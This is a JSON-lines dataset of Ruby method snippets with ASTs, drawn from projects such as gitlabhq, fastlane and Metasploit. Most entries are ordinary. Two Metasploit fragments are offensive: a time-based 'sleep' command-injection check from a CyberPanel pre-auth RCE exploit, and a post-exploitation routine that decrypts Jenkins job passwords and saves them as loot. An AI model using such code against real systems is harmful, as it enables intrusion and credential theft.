{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/spec/api/json_rpc_spec.rb","start_line":66,"raw_source":"def create_job\n    post rpc_url, {\n      jsonrpc: '2.0',\n      method: 'module.check',\n      id: 1,\n      params: [\n        'auxiliary',\n        module_name,\n        {\n          RHOSTS: '192.0.2.0'\n        }\n      ]\n    }.to_json\n  end","complexity_score":5.15,"ast_json":"{\"type\":\"def\",\"children\":[\"create_job\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"post\",{\"type\":\"send\",\"children\":[null,\"rpc_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"jsonrpc\"]},{\"type\":\"str\",\"children\":[\"2.0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"module.check\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"auxiliary\"]},{\"type\":\"send\",\"children\":[null,\"module_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"RHOSTS\"]},{\"type\":\"str\",\"children\":[\"192.0.2.0\"]}]}]}]}]}]},\"to_json\"]}]}]}","id":"777da176-71ff-44a1-a728-57a064db808f"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/helpers/stats_helper.rb","start_line":63,"raw_source":"def x_than_average_distance(stat, average_distance_this_year)\n    return '' if average_distance_this_year&.zero?\n\n    current_km = stat.distance / 1000.0\n    difference = current_km - average_distance_this_year.to_f\n    percentage = ((difference / average_distance_this_year.to_f) * 100).round\n\n    more_or_less = difference.positive? ? 'more' : 'less'\n    \"#{percentage.abs}% #{more_or_less} than your average this year\"\n  end","complexity_score":19.25,"ast_json":"{\"type\":\"def\",\"children\":[\"x_than_average_distance\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"stat\"]},{\"type\":\"arg\",\"children\":[\"average_distance_this_year\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"average_distance_this_year\"]},\"zero?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"current_km\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stat\"]},\"distance\"]},\"/\",{\"type\":\"float\",\"children\":[1000.0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"difference\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_km\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"average_distance_this_year\"]},\"to_f\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"percentage\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"difference\"]},\"/\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"average_distance_this_year\"]},\"to_f\"]}]}]},\"*\",{\"type\":\"int\",\"children\":[100]}]}]},\"round\"]}]},{\"type\":\"lvasgn\",\"children\":[\"more_or_less\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"difference\"]},\"positive?\"]},{\"type\":\"str\",\"children\":[\"more\"]},{\"type\":\"str\",\"children\":[\"less\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"percentage\"]},\"abs\"]}]},{\"type\":\"str\",\"children\":[\"% \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"more_or_less\"]}]},{\"type\":\"str\",\"children\":[\" than your average this year\"]}]}]}]}","id":"6e9993ac-f113-4da9-a070-08bb1c2bad6a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/finders/ci/runners_finder.rb","start_line":193,"raw_source":"def sort(items)\n      items.order_by(sort_key)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"sort\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"items\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"items\"]},\"order_by\",{\"type\":\"send\",\"children\":[null,\"sort_key\"]}]}]}","id":"95812bda-4cb6-4778-a849-4cf825d9ae85"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/cyberpanel_preauth_rce_multi_cve.rb","start_line":173,"raw_source":"def test_vulnerability(action)\n    sleep_times = [rand(2..5), rand(2..5)].uniq.sort\n\n    test_payloads = sleep_times.map { |t| \"sleep #{t}\" }\n    confirmed_payloads = []\n\n    test_payloads.each do |test_payload|\n      start_time = Time.now\n\n      res = execute_payload(action, test_payload)\n\n      next unless res\n\n      elapsed_time = Time.now - start_time\n\n      match = test_payload.match(/sleep (\\d+)/)\n      confirmed_payloads << test_payload if match && elapsed_time >= match[1].to_i\n    end\n\n    (confirmed_payloads & test_payloads).size == test_payloads.size\n  end","complexity_score":37.68,"ast_json":"{\"type\":\"def\",\"children\":[\"test_vulnerability\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sleep_times\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[5]}]}]}]},\"uniq\"]},\"sort\"]}]},{\"type\":\"lvasgn\",\"children\":[\"test_payloads\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sleep_times\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"sleep \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"confirmed_payloads\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_payloads\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"test_payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"start_time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"execute_payload\",{\"type\":\"lvar\",\"children\":[\"action\"]},{\"type\":\"lvar\",\"children\":[\"test_payload\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"elapsed_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"start_time\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_payload\"]},\"match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"sleep (\\\\d+)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elapsed_time\"]},\">=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_i\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confirmed_payloads\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"test_payload\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"confirmed_payloads\"]},\"&\",{\"type\":\"lvar\",\"children\":[\"test_payloads\"]}]}]},\"size\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"test_payloads\"]},\"size\"]}]}]}]}","id":"84556ef0-8556-43c2-afaa-8a12a4f24622"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/swift_lane_manager.rb","start_line":176,"raw_source":"def self.link_user_configs_to_project(updated_message: nil)\n      tool_files_folder = FastlaneCore::FastlaneFolder.path\n\n      # All the tools that could have <tool name>file.swift their paths, and where we expect to find the user's tool files.\n      all_user_tool_file_paths = TOOL_CONFIG_FILES.map do |tool_name|\n        [\n          File.join(tool_files_folder, \"#{tool_name}.swift\"),\n          \"../#{tool_name}.swift\",\n          \"../../#{tool_name}.swift\"\n        ]\n      end\n\n      # Tool files the user now provides\n      new_user_tool_file_paths = collect_tool_paths_for_replacement(all_user_tool_file_paths: all_user_tool_file_paths, look_for_new_configs: true)\n\n      # Tool files we provide AND the user doesn't provide\n      user_tool_files_possibly_removed = collect_tool_paths_for_replacement(all_user_tool_file_paths: all_user_tool_file_paths, look_for_new_configs: false)\n\n      fastlane_runner_project = self.runner_project\n      runner_target = target_for_fastlane_runner_project(runner_project: fastlane_runner_project)\n      target_file_refs = target_source_file_refs(target: runner_target)\n\n      # Swap in all new user supplied configs into the project\n      project_modified = swap_paths_in_target(\n        file_refs_to_swap: target_file_refs,\n        expected_path_to_replacement_path_tuples: new_user_tool_file_paths\n      )\n\n      # Swap out any configs the user has removed, inserting fastlane defaults\n      project_modified = swap_paths_in_target(\n        file_refs_to_swap: target_file_refs,\n        expected_path_to_replacement_path_tuples: user_tool_files_possibly_removed\n      ) || project_modified\n\n      if project_modified\n        fastlane_runner_project.save\n        updated_message ||= \"Updated #{FastlaneCore::FastlaneFolder.swift_runner_project_path}\"\n        UI.success(updated_message)\n      else\n        UI.success(\"FastlaneSwiftRunner project is up-to-date\")\n      end\n\n      return project_modified\n    end","complexity_score":28.1,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"link_user_configs_to_project\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"updated_message\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tool_files_folder\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"FastlaneFolder\"]},\"path\"]}]},{\"type\":\"lvasgn\",\"children\":[\"all_user_tool_file_paths\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TOOL_CONFIG_FILES\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tool_name\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"tool_files_folder\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_name\"]}]},{\"type\":\"str\",\"children\":[\".swift\"]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"../\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_name\"]}]},{\"type\":\"str\",\"children\":[\".swift\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"../../\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tool_name\"]}]},{\"type\":\"str\",\"children\":[\".swift\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_user_tool_file_paths\",{\"type\":\"send\",\"children\":[null,\"collect_tool_paths_for_replacement\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"all_user_tool_file_paths\"]},{\"type\":\"lvar\",\"children\":[\"all_user_tool_file_paths\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"look_for_new_configs\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user_tool_files_possibly_removed\",{\"type\":\"send\",\"children\":[null,\"collect_tool_paths_for_replacement\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"all_user_tool_file_paths\"]},{\"type\":\"lvar\",\"children\":[\"all_user_tool_file_paths\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"look_for_new_configs\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fastlane_runner_project\",{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"runner_project\"]}]},{\"type\":\"lvasgn\",\"children\":[\"runner_target\",{\"type\":\"send\",\"children\":[null,\"target_for_fastlane_runner_project\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"runner_project\"]},{\"type\":\"lvar\",\"children\":[\"fastlane_runner_project\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"target_file_refs\",{\"type\":\"send\",\"children\":[null,\"target_source_file_refs\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target\"]},{\"type\":\"lvar\",\"children\":[\"runner_target\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project_modified\",{\"type\":\"send\",\"children\":[null,\"swap_paths_in_target\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_refs_to_swap\"]},{\"type\":\"lvar\",\"children\":[\"target_file_refs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_path_to_replacement_path_tuples\"]},{\"type\":\"lvar\",\"children\":[\"new_user_tool_file_paths\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project_modified\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"swap_paths_in_target\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"file_refs_to_swap\"]},{\"type\":\"lvar\",\"children\":[\"target_file_refs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"expected_path_to_replacement_path_tuples\"]},{\"type\":\"lvar\",\"children\":[\"user_tool_files_possibly_removed\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"project_modified\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_modified\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fastlane_runner_project\"]},\"save\"]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"updated_message\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Updated \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"FastlaneFolder\"]},\"swift_runner_project_path\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"lvar\",\"children\":[\"updated_message\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"success\",{\"type\":\"str\",\"children\":[\"FastlaneSwiftRunner project is up-to-date\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_modified\"]}]}]}]}","id":"ed1299a2-e56a-4ef1-9d29-55ecc45ff1fa"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/components/settings/project_phase_definitions/form_header_component.rb","start_line":42,"raw_source":"def breadcrumbs_items\n        [\n          {\n            href: admin_index_path,\n            text: t(\"label_administration\")\n          },\n          {\n            href: admin_settings_project_custom_fields_path,\n            text: t(\"label_project_plural\")\n          },\n          {\n            href: admin_settings_project_phase_definitions_path,\n            text: t(\"settings.project_phase_definitions.heading\")\n          },\n          definition_heading\n        ]\n      end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"breadcrumbs_items\",{\"type\":\"args\",\"children\":[]},{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"admin_index_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"label_administration\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"admin_settings_project_custom_fields_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"label_project_plural\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"href\"]},{\"type\":\"send\",\"children\":[null,\"admin_settings_project_phase_definitions_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[null,\"t\",{\"type\":\"str\",\"children\":[\"settings.project_phase_definitions.heading\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"definition_heading\"]}]}]}","id":"a7e2456f-e004-4e97-8544-03d38a5546ce"}
{"repo_name":"parallel","file_path":"./repos/parallel/lib/parallel.rb","start_line":181,"raw_source":"def kill(thing)\n        Process.kill(:KILL, thing)\n      rescue Errno::ESRCH\n        # some linux systems already automatically killed the children at this point\n        # so we just ignore them not being there\n      end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"kill\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"thing\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"kill\",{\"type\":\"sym\",\"children\":[\"KILL\"]},{\"type\":\"lvar\",\"children\":[\"thing\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Errno\"]},\"ESRCH\"]}]},null,null]},null]}]}","id":"32e6d765-91ef-4327-a290-8a49ed22cb6d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/jenkins_gather.rb","start_line":176,"raw_source":"def parse_jobs(file)\n    f = read_file(file)\n    fname = file.tr('\\\\', '/').split('/')[-4]\n    vprint_status(\"Parsing job #{fname}...\")\n\n    username = ''\n    pw = ''\n    job_name = file.split(%r{/jobs/(.*?)/builds/})[1]\n    xml_doc = Nokogiri::XML(f)\n    xml_doc.xpath('//hudson.model.PasswordParameterValue').each do |node|\n      username = node.xpath('name').text\n      pw = decrypt(node.xpath('value').text)\n    end\n\n    @creds << [username, pw, '']\n    print_good(\"Job Info found - Job Name: #{job_name} User: #{username} Password: #{pw}\") if !pw.blank?\n    store_loot(\"job-#{fname}\", 'text/plain', session, f, nil, nil) if datastore['STORE_LOOT']\n  end","complexity_score":38.7,"ast_json":"{\"type\":\"def\",\"children\":[\"parse_jobs\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"f\",{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"lvar\",\"children\":[\"file\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"fname\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"tr\",{\"type\":\"str\",\"children\":[\"\\\\\"]},{\"type\":\"str\",\"children\":[\"/\"]}]},\"split\",{\"type\":\"str\",\"children\":[\"/\"]}]},\"[]\",{\"type\":\"int\",\"children\":[-4]}]}]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Parsing job \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]}]},{\"type\":\"str\",\"children\":[\"...\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pw\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"lvasgn\",\"children\":[\"job_name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"split\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"/jobs/(.*?)/builds/\"]},{\"type\":\"regopt\",\"children\":[]}]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"xml_doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Nokogiri\"]},\"XML\",{\"type\":\"lvar\",\"children\":[\"f\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xml_doc\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"//hudson.model.PasswordParameterValue\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"name\"]}]},\"text\"]}]},{\"type\":\"lvasgn\",\"children\":[\"pw\",{\"type\":\"send\",\"children\":[null,\"decrypt\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"xpath\",{\"type\":\"str\",\"children\":[\"value\"]}]},\"text\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@creds\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"pw\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pw\"]},\"blank?\"]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Job Info found - Job Name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"job_name\"]}]},{\"type\":\"str\",\"children\":[\" User: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\" Password: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pw\"]}]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"STORE_LOOT\"]}]},{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"job-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[null,\"session\"]},{\"type\":\"lvar\",\"children\":[\"f\"]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]}]},null]}]}]}","id":"b373c63a-f16f-41e0-8c72-49c2b2120597"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/models/relative_positioning_shared_examples.rb","start_line":815,"raw_source":"def perform\n          subject.move_after(item1)\n        end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"subject\"]},\"move_after\",{\"type\":\"send\",\"children\":[null,\"item1\"]}]}]}","id":"8451bba8-9acb-4178-acd1-0947b5aa4eaa"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/storage.rb","start_line":171,"raw_source":"def close\n        storage_operate(:close){|s| s.running = false }\n        super\n      end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"close\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"storage_operate\",{\"type\":\"sym\",\"children\":[\"close\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"running=\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"8f42e12f-d8c4-449f-928b-96a30a87910e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/git/tree.rb","start_line":72,"raw_source":"def initialize(options)\n        %w[id name path flat_path type mode commit_id].each do |key|\n          self.send(\"#{key}=\", options[key.to_sym]) # rubocop:disable GitlabSecurity/PublicSend\n        end\n      end","complexity_score":8.1,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"options\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"id\"]},{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"path\"]},{\"type\":\"str\",\"children\":[\"flat_path\"]},{\"type\":\"str\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"mode\"]},{\"type\":\"str\",\"children\":[\"commit_id\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"str\",\"children\":[\"=\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},\"to_sym\"]}]}]}]}]}","id":"ad4129c8-811f-41b6-a31a-972014bc9aeb"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails52.rb","start_line":551,"raw_source":"def test_remote_code_execution_oj_object_load\n    assert_warning :type => :warning,\n      :warning_code => 25,\n      :fingerprint => \"3bc375c9cb79d8bcd9e7f1c09a574fa3deeab17f924cf20455cbd4c15e9c66eb\",\n      :warning_type => \"Remote Code Execution\",\n      :line => 53,\n      :message => /^`Oj\\.object_load`\\ called\\ with\\ parameter\\ v/,\n      :confidence => 0,\n      :relative_path => \"app/controllers/users_controller.rb\",\n      :code => s(:call, s(:const, :Oj), :object_load, s(:call, s(:params), :[], s(:lit, :json)), s(:hash, s(:lit, :mode), s(:lit, :strict))),\n      :user_input => s(:call, s(:params), :[], s(:lit, :json))\n  